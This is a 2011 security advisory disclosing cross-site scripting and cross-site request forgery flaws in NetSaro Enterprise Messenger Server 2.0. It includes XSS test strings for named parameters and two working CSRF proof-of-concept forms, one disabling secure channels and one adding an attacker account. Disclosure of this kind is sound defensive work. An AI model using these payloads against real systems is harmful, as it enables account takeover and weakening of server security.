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Secur-I Research Group Security Advisory [ SV-2011-004]
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Title: NetSaro Enterprise Messenger  v2.0  Multiple  Vulnerabilities
Product: Enterprise Messenger Server
Vulnerable version: 2.0  (Other versions could also be affected)
Fixed version: N/A
Impact: Medium
Homepage: https://netsaro.com/Downloads.aspx
Vulnerability ID: SV-2011-004
Found: 2011-08-26
By: Narendra Shinde
      Secur-I Research Group
      https://securview.com/
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Vendor description:
---------------------------
NetSaro enables you to create a private and secure instant messaging network, based on client-server architecture. You can send and receive Message, Voice Message, File or Screenshot or start multi-user Chat Sessions. System access requires a valid User Name and Password. You may want to log messages between your users for auditing purposes. Client user interface integrates smoothly into the desktop.

Source:  https://netsaro.com/

Vulnerability Information:
-----------------------------------

1) Multiple Cross Site Scripting vulnerabilities

Vulnerability Information:
-------------------------------------
Class: Improper Neutralization of Input during Web Page Generation  ('Cross-site Scripting') [CWE-79]
Impact: Insertion and Execution of malicious scripts in user browser
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction Required : Yes


Vulnerability overview/description:
-------------------------------------------------
NetSaro Enterprise Messenger Server v2.0  is prone to multiple cross-site scripting vulnerabilities as the user-supplied input received via certain  parameters is not properly sanitized. This can be exploited by submitting specially crafted input to the affected software.  Successful exploitation could allow the attacker to execute arbitrary script code within the user's browser session in the security context of the targeted site. The attacker could gain access to user's cookies (including authentication cookies), if any, associated with the targeted site, access recently submitted data by the target user via web forms, or take actions on the site masquerading as the target user.


a) Non –Persistent Cross Site Scripting

URL:  https://VulnAppIP:4990/login.nsp
Vulnerable Parameter : User Name
Demo string used: "></script><script>alert("XSS")</script>

URL : https://VulnAppIP:4990/user-search.nsp
Vulnerable Parameter : Search box
Test string used : "><script>alert("XSS")</script>

URL : https://VulnerableAppIP:4990/license-add.nsp
Vulnerable parameters :  Company , Quantity
Test string  : “><script>alert(“XSS”)</script>

URL:  https://VulnAppIP:4990/archive-announcement.nsp?FromUser= "><script>alert("xss")</script>
URL: https://VulnAppIP:4990/archive-message.nsp?FromUsers= "><script>alert("xss")</script>


b) Persistent Cross Site Scripting

URL : https://VulnerableAppIP:4990/department-add.nsp
Vulnerable Parameters:  Name  , Description
Test string used:  “><img src=0 onerror=alert(0)>

URL: https://VulnerableAppIP:4990/user-add.nsp
Vulnerable Parameters:   User Name, First Name , Last name , Job Title ,Email
Test string used: "><script>alert("XSS")</script>

URL: https://VulnerableAppIP:4990/department-add.nsp
Vulnerable Parameter : Name , Description
Test string : “><script>alert(“XSS”)</script>

Workaround:
-----------------
Proper  checks on all user input.
For more details please refer:
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet


2)  Multiple CSRF vulnerabilities

Vulnerability Information:
------------------------------------
Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Impact: Unintentional changes in application.
Remotely Exploitable: Yes
Authentication Required: No
User interaction Required : Yes
CVE Name: N/A

Vulnerability overview/description:
--------------------------------------------------
The NetSaro Enterprise Messenger Server Administration Console application is vulnerable to cross-site request forgery, caused by improper validation of user supplied input by Messenger Server Administration Console. By persuading an authenticated user to visit a malicious website a remote attacker could send  a malformed HTTP to edit  applications settings.

The following  URL's are found to be vulnerable :

https://VulnerableAppIP:4990/server-security.nsp
https://VulnerableAppIP:4990/server-login.nsp
https://VulnerableAppIP:4990/server-offline.nsp
https://VulnerableAppIP:4990/server-archive.nsp
https://VulnerableAppIP:4990/server-properties.nsp?server=webadmin
https://VulnerableAppIP:4990/server-properties.nsp?server=webadmin_ssl
https://VulnerableAppIP:4990/server-properties.nsp?server=messenger
https://VulnerableAppIP:4990/server-properties.nsp?server=messenger_ssl
https://VulnerableAppIP:4990/server-properties.nsp?server=gateway
https://VulnerableAppIP:4990/server-properties.nsp?server=gateway_ssl
https://VulnerableAppIP:4990/server-edit.nsp?server=webadmin
https://VulnerableAppIP:4990/server-edit.nsp?server=webadmin_ssl
https://VulnerableAppIP:4990/server-edit.nsp?server=messenger
https://VulnerableAppIP:4990/server-edit.nsp?server=messenger_ssl
https://VulnerableAppIP:4990/server-edit.nsp?server=gateway
https://VulnerableAppIP:4990/server-edit.nsp?server=gateway_ssl
https://VulnerableAppIP:4990/user-add.nsp
https://VulnerableAppIP:4990/department-add.nsp
https://VulnerableAppIP:4990/connection-sendannouncement.nsp


Proof of Code(POC) 1  :

To send Messenger, Gateway and Web administration connections on Unsecured channel.

<html>
<body>
<form action="https://VulnerableAppIP:4990/server-security.nsp" method="post">
<input id="rb101" name="secureWebAdmin" type="hidden" value="false" checked>
<input id="rb202" name="secureMessenger" type="hidden" value="false" checked>
<input id="rb302" name="secureGateway" type="hidden" value="false" checked>
<input type="hidden" name="postback" value="postback">
<input type="submit" name="save" value="Click ME :D">
</form>
</body>
</html>


Proof of Code(POC) 2:
To add user in application.

<html>
<body>
<form action="https://VulnerableAppIP:4990/user-add.nsp" method="post">
<input name="username" type="hidden" value="ATTACK">
<input name="firstname" type="hidden" value="ATTACK"></td>
<input name="lastname" type="hidden" value="ATTACK"></td>
<input type="hidden" name="department" type="hidden" value="_Default">
<input name="jobtitle" type="hidden" value="ATTACKER"></td>
<input name="email" type="hidden" value="ATTACKER@ATTACK.com">
<input type="hidden" name="authentication"value="database">
<input name="password" type="hidden" value="PASS"></td>
<input name="passwordConfirm" type="hidden" value="PASS"></td>
<imput  name="account" id="account" value="Enabled">
<input type="hidden" name="postback" value="postback">
<input name="add" type="submit" id="add" value="Click Me :D">
</form>
</body>
</html>


Workaround:
------------------
For more details please refer:
https://www.owasp.org/index.php/Cross- Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

Timeline:
---------
Vulnerability Found : 2011-08-28
Reported to Vendor : 2011-08-30
Confirmation from vendor : NO REPLY
Public Disclosure : 2011-08-31



Thanks & Regards,
Narendra.

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